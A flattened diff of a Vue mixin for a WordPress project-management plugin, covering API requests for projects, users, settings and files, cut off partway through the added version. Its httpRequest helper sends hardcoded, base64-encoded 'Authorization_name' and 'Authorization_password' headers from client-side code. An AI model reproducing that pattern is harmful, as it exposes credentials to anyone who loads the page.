- notify_users: '', - assignees: '', - status: 'incomplete' - } - }, - args = jQuery.extend(true, pre_define, args ); - args = pm_apply_filters( 'before_project_save', args ); - var request = { - type: 'POST', - url: this.base_url + 'pm/v2/projects/', - data: args.data, - success (res) { - jQuery( "#pm-project-dialog" ).dialog('destroy'); - self.$root.$store.commit('newProject', res.data); - self.showHideProjectForm(false); - self.resetSelectedUsers(); - pm.Toastr.success(res.message); - - if(typeof args.callback === 'function'){ - args.callback(res); - } - }, - - error (res) { - if ( res.status == 400 ) { - var params = res.responseJSON.data.params; - for ( var obj in params ){ - pm.Toastr.error(params[obj][0]); - } - } - if (res.status == 500 ) { - res.responseJSON.message.map( function( value, index ) { - pm.Toastr.error(value); - }); - } - - if(typeof args.callback === 'function'){ - args.callback(res); - } - - } - }; - - this.httpRequest(request); - }, - - formatUsers (users) { - var format_users = []; - - users.map(function(user, index) { - format_users.push({ - 'user_id': user.id, - 'role_id': user.roles.data[0].id - }); - }); - - return format_users; - }, - - updateProject (args) { - var self = this, - pre_define = { - data: { - status: 'incomplete' - }, - callback: false, - }, - args = jQuery.extend(true, pre_define, args ); - args = pm_apply_filters( 'before_project_save', args ); - var request = { - type: 'POST', - url: this.base_url + 'pm/v2/projects/'+ args.data.id+'/update', - data: args.data, - success (res) { - - self.$root.$store.commit('updateProject', res.data); - pm.Toastr.success(res.message); - self.showHideProjectForm(false); - jQuery( "#pm-project-dialog" ).dialog("close"); - self.resetSelectedUsers(); - self.$store.commit('updateProjectMeta', 'total_activities'); - if(typeof args.callback === 'function'){ - args.callback.call(self, res); - } - }, - - error (res) { - if ( res.status == 400 ) { - var params = res.responseJSON.data.params; - for ( var obj in params ){ - pm.Toastr.error(params[obj][0]); - } - } - if (res.status == 500 ) { - res.responseJSON.message.map( function( value, index ) { - pm.Toastr.error(value); - }); - } - if(typeof args.callback === 'function'){ - args.callback.call(self, res); - } - } - }; - - this.httpRequest(request); - }, - - resetSelectedUsers () { - this.$root.$store.commit('resetSelectedUsers'); - }, - - getProjects ( args ) { - - var self = this; - var pre_define ={ - conditions : { - status: '', - project_transform: true, - per_page: this.getSettings('project_per_page', 10), - page : this.setCurrentPageNumber(), - category: typeof this.$route.query.category !== 'undefined' ? this.$route.query.category : '', - } - } - - var args = jQuery.extend(true, pre_define, args ); - - var conditions = pm_apply_filters( 'before_get_project', args.conditions ); - conditions = self.generateConditions(conditions); - - var request_data = { - url: self.base_url + 'pm/v2/projects?'+conditions, - data: args.conditions, - success (res) { - - res.data.map(function(project) { - self.addProjectMeta(project); - }); - - self.$store.commit('setProjects', {'projects': res.data}); - self.$store.commit('setProjectsMeta', res.meta ); - - pm.NProgress.done(); - // self.loading = false; - - if(typeof args.callback != 'undefined'){ - args.callback(res.data); - } - - pmProjects = res.data; - } - }; - - self.httpRequest(request_data); - }, - - searchProjects ( args ) { - - var self = this; - var pre_define ={ - conditions : { - status: '', - project_transform: true, - per_page: this.getSettings('project_per_page', 10), - page : this.setCurrentPageNumber(), - category: typeof this.$route.query.category !== 'undefined' ? this.$route.query.category : '', - } - } - - var args = jQuery.extend(true, pre_define, args ); - - var conditions = pm_apply_filters( 'before_get_project', args.conditions ); - conditions = self.generateConditions(conditions); - - var request_data = { - url: self.base_url + 'pm/v2/projects/search?'+conditions, - data: args.conditions, - success (res) { - - res.data.map(function(project) { - self.addProjectMeta(project); - }); - - - if(typeof args.callback != 'undefined'){ - args.callback(res.data); - } - } - }; - - self.httpRequest(request_data); - }, - - setCurrentPageNumber () { - var current_page_number = this.$route.params.current_page_number ? this.$route.params.current_page_number : 1; - this.current_page_number = current_page_number; - return current_page_number; - }, - - getProject ( args ) { - var self = this; - var pre_define ={ - conditions : { - - }, - project_id: this.project_id, - callback: false - } - - var args = jQuery.extend(true, pre_define, args ); - var conditions = self.generateConditions(args.conditions); - - if ( typeof args.project_id === 'undefined' ) { - return; - } - - self.httpRequest({ - url:self.base_url + 'pm/v2/projects/'+ args.project_id + '?' + conditions , - success (res) { - if (typeof args.callback === 'function' ) { - args.callback.call(self, res); - } - }, - error (res) { - if (res.status === 404){ - pm.Toastr.success(res.responseJSON.message); - - } - - self.$router.push({ - name: 'project_lists' - }); - } - }); - - }, - - getUsers ( args ) { - var self = this; - var pre_define ={ - data: { - }, - conditions : { - - }, - callback: false - } - - var args = jQuery.extend(true, pre_define, args ); - var conditions = self.generateConditions(args.conditions); - - if (typeof args.data.id === 'undefined' ){ - return ; - } - - self.httpRequest({ - url: self.base_url + 'pm/v2/users/?' + conditions , - data: args.data, - success (res) { - if (typeof args.callback === 'function' ) { - args.callback.call(self, res); - } - } - }); - }, - - getUser ( args ) { - var self = this; - var pre_define ={ - data: { - }, - conditions : { - - }, - callback: false - } - - var args = jQuery.extend(true, pre_define, args ); - var conditions = self.generateConditions(args.conditions); - - if (typeof args.data.user_id === 'undefined' ){ - return ; - } - - self.httpRequest({ - url: self.base_url + 'pm/v2/users/'+ args.data.user_id + '?' + conditions , - success (res) { - if (typeof args.callback === 'function' ) { - args.callback.call(self, res); - } - } - }); - }, - - get_search_user(args) { - var self = this; - var pre_define ={ - data: { - }, - conditions : { - - }, - callback: false - } - - var args = jQuery.extend(true, pre_define, args ); - var conditions = self.generateConditions(args.conditions); - - var request = { - url: self.base_url + 'pm/v2/users/search?' + conditions , - success (res) { - if (typeof args.callback === 'function' ) { - args.callback.call(self, res); - } - } - } - - return self.httpRequest(request); - }, - - getGloabalProject (project_id){ - var args ={ - callback (res) { - this.addProjectMeta(res.data); - this.$root.$store.commit('setProject', res.data); - this.$root.$store.commit('setProjectMeta', res.meta); - this.$root.$store.commit('setProjectUsers', res.data.assignees.data); - pmBus.$emit('pm_after_fetch_project', res.data); - } - } - if (project_id) { - args.project_id = project_id; - this.project_id = project_id; - } - this.$root.$store.state.project_switch = false; - var project = this.$root.$store.state.project; - - if ( ! project.hasOwnProperty('id') || project.id !== this.project_id ) { - this.$root.$store.commit('setDefaultLoaded'); - this.getProject(args); - } else { - pmBus.$emit('pm_after_fetch_project', project); - } - - }, - - addProjectMeta (project) { - project.edit_mode = false; - project.settings_hide = false; - }, - - getProjectCategories (callback) { - var callback = callback || false; - var self = this; - var page = 0; - - var categories = self.$root.$store.state.categories; - if (typeof self.$root.$store.state.categoryMeta.pagination !== 'undefined' ) { - page = self.$root.$store.state.categoryMeta.pagination.total_pages; - } - if ( categories.length && page == 1 ) { - if (callback) { - //callback(categories); - } - return categories; - } - var conditions = { - per_page: -1, - type: 'project' - } - var conditions = self.generateConditions(conditions); - - this.httpRequest({ - url: self.base_url + 'pm/v2/categories?' + conditions, - success (res) { - self.$root.$store.commit('setCategories', res.data); - self.$root.$store.commit('setCategoryMeta', res.meta); - - if (callback) { - callback(res.data); - } - } - }); - }, - - getRoles (callback) { - var callback = callback || false; - var self = this; - - var roles = self.$root.$store.state.roles; - - if ( roles.length ) { - if (callback) { - callback(roles); - } - return roles; - } - - self.httpRequest({ - url: self.base_url + 'pm/v2/roles', - success (res) { - self.$root.$store.commit('setRoles', res.data); - - if (callback) { - callback(res.data); - } - } - }); - }, - - /** - * Get index from array object element - * - * @param itemList - * @param id - * - * @return int - */ - getIndex ( itemList, id, slug) { - var index = false; - - jQuery.each(itemList, function(key, item) { - if (item[slug] == id) { - index = key; - } - }); - - return index; - }, - - showHideProjectForm (status) { - this.$store.commit('showHideProjectForm', status); - }, - - deleteFile (file_id, callback) { - var self = this; - - self.httpRequest({ - url: self.base_url + 'pm/v2/projects/'+self.project_id+'/files/' + file_id+'/delete', - type: 'POST', - success (res) { - - - if (typeof callback !== 'undefined') { - callback(res.data); - } - } - }); - }, - - - userTaskProfileUrl ( user_id ) { - return this.myTaskRedirect( user_id ); - }, - - /** - * Set extra element in httpRequest query - */ - getQueryParams (add_query) { - - var self = this, - query_str = ''; - - jQuery.each(add_query, function(key, val) { - - if (Array.isArray(val)) { - - val.map(function(el, index) { - query_str = query_str + key +'='+ el + '&'; - }); - } else { - query_str = query_str + key +'='+ val + '&'; - } - - }); - - - jQuery.each(this.$route.query, function(key, val) { - - if (Array.isArray(val)) { - - val.map(function(el, index) { - query_str = query_str + key +'='+ el + '&'; - }); - } else { - query_str = query_str + key +'='+ val + '&'; - } - - }); - - var query_str = query_str.slice(0, -1); - - return query_str; - }, - - /** - * Set extra element in this.$route.query - */ - setQuery (add_query) { - var self = this, - route_query = {}; - - - jQuery.each(self.$route.query, function(key, val) { - if (Array.isArray(val)) { - route_query[key] = []; - - val.map(function(el, index) { - route_query[key].push(el); - }); - - } else if (val) { - route_query[key] = [val]; - } - - }); - - jQuery.each(add_query, function(key, val) { - if (val) { - route_query[key] = [val]; - } else { - delete route_query[key]; - } - - }); - - return route_query; - }, - - /** - * ISO_8601 Date format convert to moment date format - * - * @param string date - * - * @return string - */ - pmDateISO8601Format ( date, time ) { - var date = new Date(date +' '+ time); - - return pm.Moment( date).format(); - }, - - deleteProject (id, project) { - if ( ! confirm( this.__( 'Are you sure to delete this project?', 'wedevs-project-manager') ) ) { - return; - } - var self = this; - var request_data = { - url: self.base_url + 'pm/v2/projects/' + id+'/delete', - type: 'POST', - success (res) { - self.$store.commit('afterDeleteProject', id); - self.$store.commit('afterDeleteProjectCount', {project: project}); - pm.Toastr.success(res.message); - var total_page = self.$store.state.pagination.total_pages; - - if (self.project_id || !self.$store.state.projects.length) { - self.$router.push({ - name: 'project_lists', - }); - - if ( - total_page > 1 - && - typeof self.$route.params.current_page_number == 'undefined' - ) { - self.getProjects(); - } - } else { - //self.getProjects(); - } - } - } - - self.httpRequest(request_data); - }, - - addUserMeta (user) { - if(!user.roles.data.length) { - user.roles = { - data: [{ - description: "Co-Worker for project manager", - id:2, - title:"Co-Worker" - }] - } - } - }, - - projects_view_class (){ - return this.$store.state.projects_view === 'grid_view' ? 'pm-project-grid': 'pm-project-list' - }, - - generateConditions (conditions) { - var query = ''; - - if (jQuery.isEmptyObject(conditions)) { - return '' - } - - jQuery.each(conditions, function(condition, key) { - if(condition){ - query = query + condition +'='+ key +'&'; - } - }); - - return query.slice(0, -1); - }, - - generatequeryString (conditions) { - var query = ''; - - if (jQuery.isEmptyObject(conditions)) { - return '' - } - - jQuery.each(conditions, function(condition, key) { - if( condition ){ - if( typeof key == 'string' ) - query = query + condition +'='+ key +'&'; - if ( typeof key == 'object' ) { - jQuery.each(key, function(index, el) { - query = query + condition +'[]='+ el +'&'; - }); - } - } - }); - - return query.slice(0, -1); - }, - - /** - * [get Global Milestones in every page where milestone need and store in $root.$store.state.milestone ] - * @param {Function} callback [optional] - * @return {[type]} [milestone] - */ - getGlobalMilestones (callback) { - var self = this, - milestones = this.$root.$store.state.milestones, - milestones_load = self.$root.$store.state.milestones_load; - - if(milestones_load){ - if(typeof callback === 'function' ){ - callback.call(self, milestones); - } - return milestones; - }else { - var request = { - data: { - status: 1 - }, - url: self.base_url + 'pm/v2/projects/'+self.project_id+'/milestones', - success (res) { - self.$root.$store.commit( 'setMilestones', res.data ); - - if (typeof callback === 'function') { - callback.call( self, res.data); - } - } - }; - self.httpRequest(request); - } - }, - - loadingStart (id, args) { - var pre_define = { - // loading text - text: '', - - // from 0 to 100 - percent: '', - - // duration in ms - duration: '', - - // z-index property - zIndex: '', - - // sets relative position to preloader's parent - setRelative: false - - }; - var args = jQuery.extend(true, pre_define, args); - - jQuery('#'+id).preloader(args); - }, - - loadingStop (id) { - jQuery('#'+id).preloader('remove'); - }, - - arrayDiffer ( arr1, arr2 ) { - var diff =[]; - arr1.forEach(function (arr) { - if( arr2.indexOf( arr) > -1 ){ - diff.push(arr); - } - }); - return diff; - }, - - saveSettings (settings, project_id, callback, id) { - var settings = this.formatSettings(settings); - var project_id = project_id || false; - var self = this; - id = id || false; - - var url = project_id - ? self.base_url + 'pm/v2/projects/'+project_id+'/settings' - : self.base_url + 'pm/v2/settings'; - - var request = { - url: url, - data: { - settings: settings, - id: id - }, - type: 'POST', - success (res) { - pm.Toastr.success(res.message); - if (typeof callback !== 'undefined') { - callback(res.data); - } - } - }; - - self.httpRequest(request); - }, - - saveTrelloImportedData (formDataObj,cred,urlString,callback) { - var self = this; - var url = self.base_url + 'pm/v2/'+ urlString; - - var request = { - url: url, - xhr: function() { - var xhr = new window.XMLHttpRequest(); - xhr.addEventListener("progress", function(evt) { - if (evt.lengthComputable) { - - } - }, false); - return xhr; - }, - data: formDataObj, - type: 'POST', - success (res) { - if (typeof callback !== 'undefined') { - callback(res,cred); - } - } - }; - - self.httpRequest(request); - }, - - deleteProjectSettings (id, args) { - var self = this; - - args = args || {}; - - var url = self.base_url + 'pm/v2/projects/'+this.project_id+'/delete/'+id+'/settings' - - var request = { - url: url, - data: { - id: id - }, - type: 'POST', - success (res) { - //pm.Toastr.success(res.message); - if (typeof args.callback !== 'undefined') { - args.callback(res.data); - } - } - }; - - self.httpRequest(request); - }, - - formatSettings (settings) { - var data = []; - - jQuery.each(settings, function(name, value) { - data.push({ - key: name, - value: value - }); - }); - - return data; - }, - - getViewType(callback) { - let is_need_fetch_view_type = this.$store.state.is_need_fetch_view_type; - - if ( !is_need_fetch_view_type ) { - callback( - { - 'value': this.$store.state.listView - } - ); - return; - } - - var self = this; - var request = { - url: self.base_url + 'pm/v2/projects/'+this.project_id+'/settings?key=list_view_type', - data: {}, - type: 'GET', - success (res) { - self.$store.commit('is_need_fetch_view_type', false); - if ( res.length ) { - self.setViewType(res.data.value); - }else { - self.setViewType('list'); - } - - - if (typeof callback !== 'undefined') { - callback(res.data); - } - } - }; - - self.httpRequest(request); - }, - - setViewType(view_type) { - this.$store.commit('listViewType', view_type); - }, - - getClients () { - - var project = this.$store.state.project, - assignees = this.$store.state.project.assignees.data; - - return assignees.filter(function(user) { - - var roles = user.roles.data.filter(function(role) { - return role.slug == 'client' ? true : false; - }); - - return roles.length ? true : false; - }); - }, - - myTaskRedirect (userid) { - var current_user = PM_Vars.current_user.ID; - - if (!this.canShowMyTaskRedirect(userid) ) { - return false; - } - - if (!PM_Vars.is_pro) { - return this.$router.resolve({ name: 'my-tasks'}).href; - - } - - if (userid == current_user ) { - return this.$router.resolve({name: 'mytask-tasks'}).href; - } - - return this.$router.resolve({name: 'mytask-tasks', params: {user_id: userid}}).href; - - }, - - canShowMyTaskRedirect (userid) { - var current_user = PM_Vars.current_user.ID; - if (this.has_manage_capability()) { - return true; - } - - if (current_user == userid) { - return true; - } - return false; - }, - - fileDownload (fileId) { - let url = this.base_url + '/pm/v2/projects/'+this.project_id+'/files/'+fileId+'/users/'+PM_Vars.current_user.ID+'/download'; - url = this.setPermalink( url ); - - window.location.href = url; - }, - - getDownloadUrl(fileId, project_id) { - project_id = project_id || this.project_id; - let url = this.base_url + '/pm/v2/projects/'+ project_id +'/files/'+fileId+'/users/'+PM_Vars.current_user.ID+'/download'; - url = this.setPermalink( url ); - - return url; - }, - - copy (text) { - var $temp = $(""); - $("body").append($temp); - $temp.val(text).select(); - document.execCommand("copy"); - $temp.remove(); - }, - - deleteSettings (key, pre_define ) { - var pre_define = pre_define || false, - settings = PM_Vars.settings; - - if ( typeof PM_Vars.settings[key] === 'undefined' ) { - return pre_define; - } - - return PM_Vars.settings[key]; - }, - - getAssetUrl(str) { - return PM_Vars.assets_url + str; - }, - - /** - * Close popup by checking popper - */ - closePopper(){ - jQuery('body').trigger('click'); - }, - - exportCsvFile (xhr, response) { - if ( 'html/csv' === xhr.getResponseHeader('Content-type') ) { - var filename = ""; - var disposition = xhr.getResponseHeader('Content-Disposition'); - if (disposition && disposition.indexOf('attachment') !== -1) { - var filenameRegex = /filename[^;=\n]*=((['"]).*?\2|[^;\n]*)/; - var matches = filenameRegex.exec(disposition); - if (matches != null && matches[1]) { - filename = matches[1].replace(/['"]/g, ''); - } - } - var type = xhr.getResponseHeader('Content-Type'); - var blob = typeof File === 'function' ? new File([response], filename, { type: type }) : new Blob([response], { type: type }); - if (typeof window.navigator.msSaveBlob !== 'undefined') { - // IE workaround for "HTML7007: One or more blob URLs were revoked by closing the blob for which they were created. These URLs will no longer resolve as the data backing the URL has been freed." - window.navigator.msSaveBlob(blob, filename); - } else { - var URL = window.URL || window.webkitURL; - var downloadUrl = URL.createObjectURL(blob); - if (filename) { - // use HTML5 a[download] attribute to specify filename - var a = document.createElement("a"); - // safari doesn't support this yet - if (typeof a.download === 'undefined') { - window.location = downloadUrl; - } else { - a.href = downloadUrl; - a.download = filename; - document.body.appendChild(a); - a.click(); - } - } else { - window.location = downloadUrl; - } - setTimeout(function () { - URL.revokeObjectURL(downloadUrl); - }, 100); // cleanup - } - } - }, - - isEmpty (mixedVar) { - - - if( - mixedVar === false - || - mixedVar == 0 - || - mixedVar == '0' - || - mixedVar == null - || - mixedVar == '' - || - typeof mixedVar == 'undefined' - ) { - return true; - } - - if(this.is_array(mixedVar)) { - if(!mixedVar.length) { - return true; - } - } - - if (this.is_object(mixedVar)) { - if( jQuery.isEmptyObject(mixedVar) ) { - return true; - } - } - - return false - }, - - can_edit_task (task) { - var user = PM_Vars.current_user; - - if (this.is_manager()) { - return true; - } - - if ( this.userCanAccess(PM_Vars.manager_cap_slug) ) { - return true; - } - - let creatorId = task.creator.data.id ? task.creator.data.id : 0; - - if ( parseInt(creatorId) == parseInt(user.ID) ){ - return true; - } - - return false; - }, - } -}; - - - - - - - +import TaskLists from '@components/project-task-lists/mixin'; +import Url from '@wordpress/url'; +import classnames from 'classnames'; + +export default { + + data () { + return { + //base_url: PM_Vars.base_url +'/'+ PM_Vars.rest_api_prefix, + base_url: PM_Vars.api_base_url, + permalinkStructure: PM_Vars.permalinkStructure, + project_id: typeof this.$route === 'undefined'? false : parseInt( this.$route.params.project_id ), + current_user: PM_Vars.current_user, + avatar_url: PM_Vars.avatar_url, + text: PM_Vars.text, + PM_Vars: PM_Vars, + pm: pm, + taskLists: TaskLists, + currentDate: pm.Moment(new Date()).format('YYYY-MM-DD'), + randomNumber: [] + } + }, + + created () { + setLocaleData(PM_Vars.language.pm); + }, + + methods: { + + isArchivePage () { + return this.$route.name == 'task_lists_archive' || this.$route.name == 'task_lists_archive_pagination' + }, + + classnames ( classAttrs ) { + return classnames( classAttrs ); + + }, + + cutString(string, length, dot){ + var output = ""; + output = string.substring(0, parseInt(length)); + if(dot && string.length > length){ + output += "..."; + } + return output; + }, + + hasTaskStartField () { + if (!PM_Vars.is_pro) { + return false; + } + + let status = this.getSettings('task_start_field', false); + + return status == 'on' || status === true ? true : false; + }, + + is_array(items) { + if(Object.prototype.toString.call(items) == '[object Array]' ) { + return true; + } + }, + + is_object(items) { + if(Object.prototype.toString.call(items) == '[object Object]' ) { + return true; + } + }, + + isValidDate(date) { + date = pm.Moment(new Date(date)); + + return date.isValid() + }, + + secondsToHms (d) { + d = Number(d); + var h = Math.floor(d / 3600); + var m = Math.floor(d % 3600 / 60); + var s = Math.floor(d % 3600 % 60); + + return { + 'hour': h, + 'minute': m, + 'second': s + } + }, + + hexToRgb(hex) { + // Expand shorthand form (e.g. "03F") to full form (e.g. "0033FF") + var shorthandRegex = /^#?([a-f\d])([a-f\d])([a-f\d])$/i; + hex = hex.replace(shorthandRegex, function(m, r, g, b) { + return r + r + g + g + b + b; + }); + + var result = /^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(hex); + return result ? { + 0: parseInt(result[1], 16), + 1: parseInt(result[2], 16), + 2: parseInt(result[3], 16) + } : null; + }, + + getTextColor (rgb) { + + if(typeof rgb !== 'object') { + rgb = this.hexToRgb(rgb); + } + if(rgb === null) { + return ''; + } + var c = 'rgb('+rgb[0]+','+rgb[1]+','+rgb[2]+')'; + + //http://www.w3.org/TR/AERT#color-contrast + + var o = Math.round(((parseInt(rgb[0]) * 299) + (parseInt(rgb[1]) * 587) + (parseInt(rgb[2]) * 114)) /1000); + + //console.log(o); + + if(o > 185) { + return '#848484'; + } else { + return '#fff'; + } + + }, + + getInboxId () { + return this.$store.state.project.list_inbox; + }, + + getUniqueRandomNumber() { + var random = 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + return v.toString(16); + }) + + if(this.randomNumber.indexOf(random) === -1) { + this.randomNumber.push(random); + + return random; + } + + this.getUniqueRandomNumber(); + + }, + + enableDisable (key, status) { + status = status || ''; + + if(status == '') { + this[key] = this[key] ? false : true; + } else { + this[key] = status; + } + }, + + __(text, domain) { + return __(text, domain); + }, + + sprintf: sprintf, + + user_can (cap) { + return pmUserCan( cap, this.$store.state.project ); + }, + + userCanAccess (slug) { + return pmUserCanAccess(slug); + }, + + is_user_in_project () { + return pmIsUserInProject( this.$store.state.project ); + }, + + is_manager (project) { + var project = project || this.$store.state.project; + return pmIsManager(project); + }, + + has_manage_capability () { + return pmHasManageCapability(); + }, + + has_create_capability () { + return pmHasCreateCapability(); + }, + + intersect(a, b) { + var d = {}; + var results = []; + for (var i = 0; i < b.length; i++) { + d[b[i]] = true; + } + for (var j = 0; j < a.length; j++) { + if (d[a[j]]) + results.push(a[j]); + } + return results; + }, + + can_edit_comment (commnet) { + var user = PM_Vars.current_user; + if (commnet.commentable_type == 'task_activity') { + return false; + } + if (this.is_manager()) { + return true; + } + if ( commnet.creator.data.id == user.ID ){ + return true; + } + + return false; + }, + + pad2 (number) { + return (number < 10 ? '0' : '') + number; + }, + + stringToTime (seconds) { + var numhours = Math.floor(seconds / 3600); + + var numminutes = Math.floor((seconds % 3600) / 60); + + var numseconds = (seconds % 3600) % 60; + + return { + 'hours': this.pad2(numhours), + 'minutes': this.pad2(numminutes), + 'seconds': this.pad2(numseconds) + } + }, + + getFullDate (date) { + if ( !date ) { + return; + } + date = new Date(date.replace(/-/g, "/")); + + return pm.Moment(date).format('dddd, MMMM D YYYY, H:mm:ss'); + }, + + getFullDateCustom (date) { + if ( !date ) { + return; + } + date = new Date(date.replace(/-/g, "/")); + + return pm.Moment(date).format('dddd, MMMM D YYYY'); + }, + + relativeDate (date) { + if ( !date ) { + return; + } + //getTimezoneOffset + date = new Date(date.replace(/-/g, "/")); + + return pm.Moment(date).fromNow(); + }, + + /** + * WP settings date format convert to pm.Moment date format with time zone + * + * @param string date + * + * @return string + */ + shortDateFormat ( date ) { + + if ( !date ) { + return; + } + + date = new Date(date.replace(/-/g, "/")); + date = pm.Moment(date).format('YYYY-MM-DD'); + + var format = 'DD MMM'; + + return pm.Moment( date ).format( String( format ) ); + }, + + shortTimeFormat ( date ) { + if ( !date ) { + return; + } + + date = new Date(date.replace(/-/g, "/")); + var format = 'hh:mm a'; + + return pm.Moment( date ).format( String( format ) ); + }, + + ucfirst (word) { + if(word == '' || typeof word == 'undefined') { + return ''; + } + + return word.replace(/\w/, c => c.toUpperCase()) + }, + + + dateTimeFormat(date) { + if ( !date ) { + return; + } + + date = new Date(date.replace(/-/g, "/")); + return pm.Moment(date).format('hh:mm a'); + }, + + + /** + * WP settings date format convert to pm.Moment date format with time zone + * + * @param string date + * + * @return string + */ + pmDateFormat( date, formate ) { + var formate = formate || 'MMM D'; + if ( !date ) { + return; + } + + date = new Date(date.replace(/-/g, "/")); + return pm.Moment(date).format(formate); + }, + + isEmpty (mixedVar) { + + var undef + var key + var i + var len + var emptyValues = [undef, null, false, 0, '', '0'] + + if( mixedVar === '' ) { + return true; + } + + if( ! this.is_object( mixedVar ) && !this.is_array( mixedVar ) ) { + if ( isNaN( mixedVar ) ) { + return true; + } + } + + + for (i = 0, len = emptyValues.length; i < len; i++) { + if (mixedVar === emptyValues[i]) { + return true + } + } + + if (typeof mixedVar === 'object') { + for (key in mixedVar) { + if ( mixedVar.hasOwnProperty(key) ) { + return false + } + } + return true + } + return false + }, + + /** + * WP settings date format convert to pm.Moment date format with time zone + * + * @param string date + * + * @return string + */ + taskDateFormat ( date ) { + if ( !date ) { + return; + } + + date = new Date(date.replace(/-/g, "/")); + return pm.Moment(date).format('MMM D'); + }, + + /** + * ISO_8601 Date format convert to pm.Moment date format + * + * @param string date + * + * @return string + */ + dateISO8601Format ( date ) { + return pm.Moment( date ).format(); + }, + + getSettings (key, pre_define, objKey ) { + + var pre_define = typeof pre_define == 'undefined' ? false : pre_define, + objKey = typeof objKey == 'undefined' ? false : objKey, + settings = PM_Vars.settings; + + if (objKey) { + if ( typeof PM_Vars.settings[objKey] === 'undefined' ) { + return pre_define; + } + if ( typeof PM_Vars.settings[objKey][key] === 'undefined' ){ + return pre_define; + } + + + if ( PM_Vars.settings[objKey][key] === "true" ){ + return true; + } else if ( PM_Vars.settings[objKey][key] === "false" ){ + return false; + } else { + return PM_Vars.settings[objKey][key]; + } + } + + + if ( typeof PM_Vars.settings[key] == 'undefined' ) { + return pre_define; + } + + if ( PM_Vars.settings[key] == "true" ){ + return true; + } else if ( PM_Vars.settings[key] == "false" ){ + return false; + } else { + return PM_Vars.settings[key]; + } + + }, + + dataURLtoFile (dataurl, filename) { + var arr = dataurl.split(','), mime = arr[0].match(/:(.*?);/)[1], + bstr = atob(arr[1]), n = bstr.length, u8arr = new Uint8Array(n); + while(n--){ + u8arr[n] = bstr.charCodeAt(n); + } + return new File([u8arr], filename, {type:mime}); + }, + + httpRequest (property) { + + if ( property.url ) { + property.url = this.setPermalink( property.url ); + } + + var before = function( xhr ) { + xhr.setRequestHeader("Authorization_name", btoa('mslweiew')); //btoa js encoding base64_encode + xhr.setRequestHeader("Authorization_password", btoa('1$%#$8sgf&*FBI')); //atob js decode base64_decode + + xhr.setRequestHeader("X-WP-Nonce", PM_Vars.permission); + }; + + if(typeof property.data == 'undefined') { + property.data = { + is_admin: PM_Vars.is_admin + } + } + + property.data.is_admin = typeof property.data.is_admin == 'undefined' ? PM_Vars.is_admin : property.data.is_admin; + property.beforeSend = typeof property.beforeSend === 'undefined' ? before : property.beforeSend; + + return jQuery.ajax(property); + }, + + setPermalink (url) { + url = url.replace(/([^:]\/)\/+/g, "$1"); + + if ( !this.permalinkStructure ) { + var matchCount = 0; + + url = url.replace(/\?/g, function (match) { + matchCount++; + return matchCount>1 ? "&" : match; + }); + } + + return url; + }, + + registerStore (module_name, store) { + if (typeof store === 'undefined') { + return false; + } + + var self = this; + //if( typeof store !== 'undefined' ) { + var mutations = store.mutations || {}; //self.$options.mutations; + var state = store.state || {}; //self.$options.state; + var getters = store.getters || {}; //self.$options.getters; + var actions = store.actions || {}; //self.$options.actions; + //} + + // register a module `myModule` + + self.$store.registerModule(module_name, { + namespaced: true, + state, + getters, + mutations, + actions + }); + }, + + /** + * Create a new project + * @param {[Object]} args data with callback + * @return {viod} [description] + */ + newProject (args) { + var self = this, + pre_define = { + data: { + title : '', + categories : '', + description: '', + notify_users: '', + assignees: '', + status: 'incomplete' + } + }, + args = jQuery.extend(true, pre_define, args ); + args = pm_apply_filters( 'before_project_save', args ); + var request = { + type: 'POST', + url: this.base_url + 'pm/v2/projects/', + data: args.data, + success (res) { + jQuery( "#pm-project-dialog" ).dialog('destroy'); + self.$root.$store.commit('newProject', res.data); + self.showHideProjectForm(false); + self.resetSelectedUsers(); + pm.Toastr.success(res.message); + + if(typeof args.callback === 'function'){ + args.callback(res); + } + }, + + error (res) { + if ( res.status == 400 ) { + var params = res.responseJSON.data.params; + for ( var obj in params ){ + pm.Toastr.error(params[obj][0]); + } + } + if (res.status == 500 ) { + res.responseJSON.message.map( function( value, index ) { + pm.Toastr.error(value); + }); + } + + if(typeof args.callback === 'function'){ + args.callback(res); + } + + } + }; + + this.httpRequest(request); + }, + + formatUsers (users) { + var format_users = []; + + users.map(function(user, index) { + format_users.push({ + 'user_id': user.id, + 'role_id': user.roles.data[0].id + }); + }); + + return format_users; + }, + + updateProject (args) { + var self = this, + pre_define = { + data: { + status: 'incomplete' + }, + callback: false, + }, + args = jQuery.extend(true, pre_define, args ); + args = pm_apply_filters( 'before_project_save', args ); + var request = { + type: 'POST', + url: this.base_url + 'pm/v2/projects/'+ args.data.id+'/update', + data: args.data, + success (res) { + + self.$root.$store.commit('updateProject', res.data); + pm.Toastr.success(res.message); + self.showHideProjectForm(false); + jQuery( "#pm-project-dialog" ).dialog("close"); + self.resetSelectedUsers(); + self.$store.commit('updateProjectMeta', 'total_activities'); + if(typeof args.callback === 'function'){ + args.callback.call(self, res); + } + }, + + error (res) { + if ( res.status == 400 ) { + var params = res.responseJSON.data.params; + for ( var obj in params ){ + pm.Toastr.error(params[obj][0]); + } + } + if (res.status == 500 ) { + res.responseJSON.message.map( function( value, index ) { + pm.Toastr.error(value); + }); + } + if(typeof args.callback === 'function'){ + args.callback.call(self, res); + } + } + }; + + this.httpRequest(request); + }, + + resetSelectedUsers () { + this.$root.$store.commit('resetSelectedUsers'); + }, + + getProjects ( args ) { + + var self = this; + var pre_define ={ + conditions : { + status: '', + project_transform: true, + per_page: this.getSettings('project_per_page', 10), + page : this.setCurrentPageNumber(), + category: typeof this.$route.query.category !== 'undefined' ? this.$route.query.category : '', + } + } + + var args = jQuery.extend(true, pre_define, args ); + + var conditions = pm_apply_filters( 'before_get_project', args.conditions ); + conditions = self.generateConditions(conditions); + + var request_data = { + url: self.base_url + 'pm/v2/projects?'+conditions, + data: args.conditions, + success (res) { + + res.data.map(function(project) { + self.addProjectMeta(project); + }); + + self.$store.commit('setProjects', {'projects': res.data}); + self.$store.commit('setProjectsMeta', res.meta ); + + pm.NProgress.done(); + // self.loading = false; + + if(typeof args.callback != 'undefined'){ + args.callback(res.data); + } + + pmProjects = res.data; + } + }; + + self.httpRequest(request_data); + }, + + searchProjects ( args ) { + + var self = this; + var pre_define ={ + conditions : { + status: '', + project_transform: true, + per_page: this.getSettings('project_per_page', 10), + page : this.setCurrentPageNumber(), + category: typeof this.$route.query.category !== 'undefined' ? this.$route.query.category : 